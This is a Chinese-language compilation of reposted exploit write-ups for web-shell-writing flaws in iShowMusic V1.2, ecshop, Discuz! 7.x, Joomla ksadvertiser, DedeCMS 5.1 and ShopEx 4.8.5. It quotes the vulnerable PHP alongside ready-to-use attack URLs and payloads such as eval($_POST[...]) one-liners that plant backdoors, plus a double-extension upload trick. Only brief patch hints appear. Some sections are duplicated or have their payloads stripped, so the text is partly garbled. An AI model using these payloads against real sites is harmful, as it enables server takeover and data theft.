下面小编为大家整理了iShowMusic V1.2 直接写shell漏洞,本文共9篇,欢迎阅读与借鉴!本文原稿由网友“winds1128”提供。
篇1:iShowMusic V1.2 直接写shell漏洞
By qiur3n
www.wolvez.org/
-06-17
iShow Music 是一套基本于PHP+TXT的在线音乐播放程序,程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。
:www.ishowsky.cn
在error.php 12-26行
复制内容到剪贴板
代码:
elseif ($_POST['action']==“save”){
$cknumon && GdConfirm($gdcode);
if(empty($id)) {
Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}
elseif(empty($_POST['user'])) {
Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}
else{
$user=safeconvert($user);
$line=“$user|$songname|$id|$errmsg|$timestamp|\\n”;
$e=“$datadir/error.php”;
writetofile($e,$line,“a+”);
Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close”); exit;
}
在global.php 27-34行
复制内容到剪贴板
代码:
foreach($_POST as $_key=>$_value){
$_POST[$_key]=str_replace(array('|','$','..'),array
('|','$','..'),$_POST[$_key]);
!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
$_GET[$_key]=str_replace(array('|','$','..'),array
('|','$','..'),$_GET[$_key]);
!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];
}
这段代码是允许在register_globals在off的情况下工作
程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.
导致失去了这段代码本来的作用.
function writetofile($file_name, $data, $method = “w”)
{
$filenum = fopen($file_name, $method);
flock($filenum, LOCK_EX);
$file_data = fwrite($filenum, $data);
fclose($filenum);
return $file_data;
}
这个函数也没有任何过滤就把$data写进去了,呵呵
www.xxx.com/error.php?errid=1&errtitle=
然后提交一下你就能获得一个shell在
www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文
件夹改名,呵呵)
篇2:iShowMusic V1.2 直接写shell漏洞漏洞预警
By qiur3n
iShow Music 是一套基本于PHP+TXT的在线音乐播放程序,程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。
:www.ishowsky.cn
在error.php 12-26行复制内容到剪贴板代码:
elseif ($_POST['action']==“save”){
$cknumon && GdConfirm($gdcode);
if(empty($id)) {
Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}
elseif(empty($_POST['user'])) {
Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}
else{
$user=safeconvert($user);
$line=“$user|$songname|$id|$errmsg|$timestamp|\\n”;
$e=“$datadir/error.php”;
writetofile($e,$line,“a+”);
Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close()”); exit;
}在global.php 27-34行复制内容到剪贴板代码:
foreach($_POST as $_key=>$_value){
$_POST[$_key]=str_replace(array('|','$','..'),array
('|','$','..'),$_POST[$_key]);
!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
$_GET[$_key]=str_replace(array('|','$','..'),array
('|','$','..'),$_GET[$_key]);
!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];
}这段代码是允许在register_globals在off的情况下工作
程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.
导致失去了这段代码本来的作用.
function writetofile($file_name, $data, $method = “w”)
{
$filenum = fopen($file_name, $method);
flock($filenum, LOCK_EX);
$file_data = fwrite($filenum, $data);
fclose($filenum);
return $file_data;
}
这个函数也没有任何过滤就把$data写进去了,呵呵
hxxp://www.xxx.com/error.php?errid=1&errtitle=
然后提交一下你就能获得一个shell在
hxxp://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文
件夹改名,呵呵)
刚经群里的朋友提示,发现这段代码并没有错误复制内容到剪贴板代码:
foreach($_POST as $_key=>$_value){
$_POST[$_key]=str_replace(array('|','$','..'),array
('|','$','..'),$_POST[$_key]);
!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
$_GET[$_key]=str_replace(array('|','$','..'),array
('|','$','..'),$_GET[$_key]);!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];
}呵呵..虽然我在本地本地测试的时候确实没替换.
现在修改哈Ryat提供的邪恶的shellcode..嘿嘿
hxxp://www.xxx.com/error.php?errid=1&errtitle=
这样你在访问一次hxxp://www.xxx.com/data/error.php后将得到hxxp://www.xxx.com/data/wolvez.php的测试文件
内容为
篇3:ecshop v2.72 前台写shell漏洞
by:xhm1n9
这个地方很多大牛应该都知道,看到某坛子里有人差不多发现了,所以还是泄了算了~~
ecshop v2.72 前台写shell漏洞
利用方试:提交两次,第二次内容任意
篇4:iShowMusic V1.2 写入shell漏洞
前几天公布的漏洞了,这几天比较忙,今天才看到,
iShowMusic V1.2 写入shell漏洞
,
刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。
篇5:Discuz!7.07.2后台settings.inc.php中写shell漏洞
影响版本
Discuz!7.0-7.2
漏洞详情:if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) { $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass']; if($settingsnew['uc']['connect']) {$uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);if(!$uc_dblink) { cpmsg('uc_database_connect_error', '', 'error');} else { mysql_close($uc_dblink);} } $fp = fopen('./config.inc.php', 'r'); $configfile = fread($fp, filesize('./config.inc.php')); $configfile = trim($configfile); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; fclose($fp); $connect = ''; if($settingsnew['uc']['connect']) {require './config.inc.php';$connect = 'mysql';$samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');$configfile = insertconfig($configfile, “/define\\ ('UC_DBHOST',\\s*'.*?'\\);/i”, “define('UC_DBHOST', '”.$settingsnew['uc'] ['dbhost'].“');”);//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com$configfile = insertconfig($configfile, “/define\\('UC_DBUSER',\\s*'.*?'\\);/i”, “define('UC_DBUSER', '”.$settingsnew['uc']['dbuser'].“');”);$configfile = insertconfig($configfile, “/define\\('UC_DBPW',\\s*'.*?'\\);/i”, “define('UC_DBPW', '”.$ucdbpassnew.“');”);$configfile = insertconfig($configfile, “/define\\('UC_DBNAME',\\s*'.*?'\\);/i”, “define('UC_DBNAME', '”.$settingsnew['uc']['dbname'].“');”);$configfile = insertconfig($configfile, “/define\\('UC_DBTABLEPRE',\\s*'.*?'\\);/i”, “define('UC_DBTABLEPRE', '`”.$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre'].“');”);//$configfile = insertconfig($configfile, “/define\\('UC_LINK',\\s*'?.*?'?\\);/i”, “define('UC_LINK', ”.($samelink && $samecharset ? 'TRUE' : 'FALSE').“);”); } $configfile = insertconfig($configfile, “/define\\('UC_CONNECT',\\s*'.*?'\\);/i”, “define('UC_CONNECT', '$connect');”); $configfile = insertconfig($configfile, “/define\\('UC_KEY',\\s*'.*?'\\);/i”, “define('UC_KEY', '”.$settingsnew['uc']['key'].“');”); $configfile = insertconfig($configfile, “/define\\('UC_API',\\s*'.*?'\\);/i”, “define('UC_API', '”.$settingsnew['uc']['api'].“');”); $configfile = insertconfig($configfile, “/define\\('UC_IP',\\s*'.*?'\\);/i”, “define('UC_IP', '”.$settingsnew['uc']['ip'].“');”); $configfile = insertconfig($configfile, “/define\\('UC_APPID',\\s*'?.*?'?\\);/i”, “define('UC_APPID', '”.$settingsnew['uc']['appid'].“');”); $fp = fopen('./config.inc.php', 'w'); if(!($fp = @fopen('./config.inc.php', 'w'))) {cpmsg('uc_config_write_error', '', 'error'); } @fwrite($fp, trim($configfile)); @fclose($fp); }settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件,Discuz!7.07.2后台settings.inc.php中写shell漏洞
,
function insertconfig($s, $find, $replace) {if(preg_match($find, $s)) {$s = preg_replace($find, $replace, $s); //正则匹配替换数据} else {$s .= “\\r\\n”.$replace;}return $s;}
测试方法:程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。临时补丁:在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加: foreach($settingsnew['uc'] as $key =>$value){ $settingsnew['uc'][$key]=str_replace(')','',$value); }篇6:iShowMusic V1.2 写入shell漏洞漏洞预警
前几天公布的漏洞了,这几天比较忙,今天才看到,刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。
--------
漏洞描述:
iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。在error.php 12-26行PHP代码
elseif ($_POST['action']==“save”){$cknumon && GdConfirm($gdcode);if(emptyempty($id)) {Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}elseif(emptyempty($_POST['user'])) {Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}else{$user=safeconvert($user);$line=“$user|$songname|$id|$errmsg|$timestamp|\\n”;$e=“$datadir/error.php”;writetofile($e,$line,“a+”);Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close”); exit;}在global.php 27-34行PHP代码
foreach($_POST as $_key=>$_value){$_POST[$_key]=str_replace(array('|','$','..'),array('|','$','..'),$_POST[$_key]);!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];}foreach($_GET as $_key=>$_value){$_GET[$_key]=str_replace(array('|','$','..'),array('|','$','..'),$_GET[$_key]);!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];}这段代码是允许在register_globals在off的情况下工作程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.导致失去了这段代码本来的作用.PHP代码
function writetofile($file_name, $data, $method = “w”){$filenum = fopen($file_name, $method);flock($filenum, LOCK_EX);$file_data = fwrite($filenum, $data);fclose($filenum);return $file_data;}这个函数也没有任何过滤就把$data写进去了<*参考By qiur3n
www.wolvez.org/*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>然后提交一下你就能获得一个shell在www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文件夹改名,呵呵)篇7:Joomla 远程上传漏洞.直接getshell漏洞预警
作者:1337
1. 有些joomal需要先注册.
site/index.php?option=com_user&view=login
2. 到上传地址
site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
3. 点击image后点击upload,选择shell, 将shell重名为adm1n.php.jpg格式.
4. 上传后的文件在 / images/ksadvertiser/U0 这个目录下.
site/images/ksadvertiser/U0/adm1n.php.gif
Demo: alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif
我随便测试了一下, 基本都被搞了. 疯狂的人们啊, 这今天刚出的漏洞就成这样了… 1337V5啊.
篇8:DedeCMS 5.1 直接写入马漏洞
style=“display:block;padding:0px 10px;” class=“ContentFont”>
最早见于groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
经过研究发现,可以很方便的写入一个小马,前提是服务器开放会员系统,而且有图书连载里有类别。
漏洞代码如下:
include\\inc_bookfunctions.php
function WriteBookText($cid,$body)
{
global $cfg_cmspath,$cfg_basedir;
$ipath = $cfg_cmspath.“/data/textdata”;
$tpath = ceil($cid/5000);
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
$bookfile = $cfg_basedir.$ipath.“/{$tpath}/bk{$cid}.php”;
$body = “<”.“?php\\r\\n”.$body.“\\r\\n?”.“>”;
@$fp = fopen($bookfile,'w');
@flock($fp);
@fwrite($fp,$body);
@fclose($fp);
}
member\\story_add_content_action.php
WriteBookText($arcID,addslashes($body));
可以看到,只是用addslashes进行了转义,
但是$body = “<”.“?php\\r\\n”.$body.“\\r\\n?”.“>”;很明显可以写入一个小马的。呵呵。
利用方法
www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1
这样就在data\\textdata\\目录下生成小马。 默认为data\\textdata\\1\\bk1.php
篇9:shopex 4.8.5.45144注入和远程shell写入漏洞漏洞预警
ShopEx网上商店平台软件系统又称网店管理系统、网店程序、网上购物系统、在线购物系统,
一:shopex 4.8.5.45144 \\core\\include_v5\\shopCore.php 注入漏洞
\\core\\include_v5\\shopCore.php
01 public function shopCore( )
02 {
03 parent::kernel( );
04 if ( isset( $_POST['spgdif'] ) )
05 {
06 $this->spgdif( ); //进入函数
07 exit( );
08 }
09 ............................
10 }
11 public function spgdif( )
12 {
13 include_once( CORE_DIR.“/func_ext.php” );
14 if ( $_POST['session'] && $_POST['query'] && $_POST['sign'] ) //没任何过滤
15 {
16 if ( md5( $_POST['query'].$_POST['session'].“shopex_stats” ) == $_POST['sign'] ) //MD5 验证,我们可以自己控制。
17 {
18 $cert = $this->loadModel( “service/certificate” );
19 if ( $data = $cert->session_vaild( $_POST['session'] ) )
20 {
21 $this->fetchdata( $_POST['query'] );
22 }
23 ..........................
24 public function fetchdata( $params )
25 {
26 $params = unserialize( $params );
27 $sql = “SELECT ”;
28 foreach ( $params['fields'] as $key =>$value )
29 {
30 $sql .= $value['method'].“(”.$value['name'].“)”;
31 if ( $value['alias'] )
32 {33 $sql .= “ as ”.$value['alias']; //代入sql
34 }
35 $sql .= “,”;
36 }
37 $sql = substr( $sql, 0, -1 );
38 $sql .= “ FROM ”.$params['tbl'].“ ”;
39 ...............
40 $db = $this->database( );
41 ob_start( );
42 $data = $db->select( $sql );
43 ob_end_clean( );
44 if ( $data )
45 {
46 echo json_encode( array(
47 “res” =>“succ”,
48 “data” =>$data //没任何干扰,全部显示出来!(人品好了点,
)
49 ) );
50 }
51 else
52 {
53 echo json_encode( array(
54 “res” =>“fail”,
55 “data” =>$sql
56 ) );
57 }
58 }
利用代码exp:
exploit.htm
-----
SQL Injection
Vulnerability
O(°…_°…)O…‰¡À' style=“width:150px;height:100px” />
shopex 4.8.5 SQL Injection Vulnerability 0day ”2010.06.12
By:qing
QQ:33089632
二:shopex 4.8.5.45144 \\core\\include_v5\\crontab.php 远程shell写入漏洞
\\core\\include_v5\\crontab.php (zend加密后的,我只发布解密后的代码)
01 public function run( )
02 {
03 $this->logFile = HOME_DIR.“/logs/access.log.php”;
04 $this->now = time( );
05 $this->viewStat( );
06 $messenger =& $this->loadModel( “system/messenger” );
07 $messenger->runQueue( );
08 }
09
10 public function viewStat( )
11 {
12 if ( !file_exists( $this->logFile ) )
13 {
14 file_put_contents( $this->logFile, “#
15 }
16 if ( isset( $_GET['action'] ) )
17 {
18 error_log( $this->now.”\\t“.$_GET['action'].”\\t“.$_GET['p'].”\\n\", 3, $this->logFile );//没有任何过滤,
利用:
直接提交:127.0.0.1/shopex/?cron=1&action=1&p=1
一句话在:127.0.0.1/shopex/home/logs/access.log.php
- Shell脚本实现ftok函数2023-01-25
- Shell Company 笔试考题目2025-01-27
- 简单直接的医院辞职信2023-05-28
- 不打辞职报告直接走人2023-01-06
- 极点五笔输入法一个漏洞2022-12-11
- 网络精英培训网的漏洞2023-03-25
- 规章制度执行有漏洞2023-08-17
- 监控Oracle数据库的常用shell脚本数据库2023-12-31
- 直接引语变间接引语的用法2023-07-27
- 一剪梅李清照直接抒情的句子2025-04-28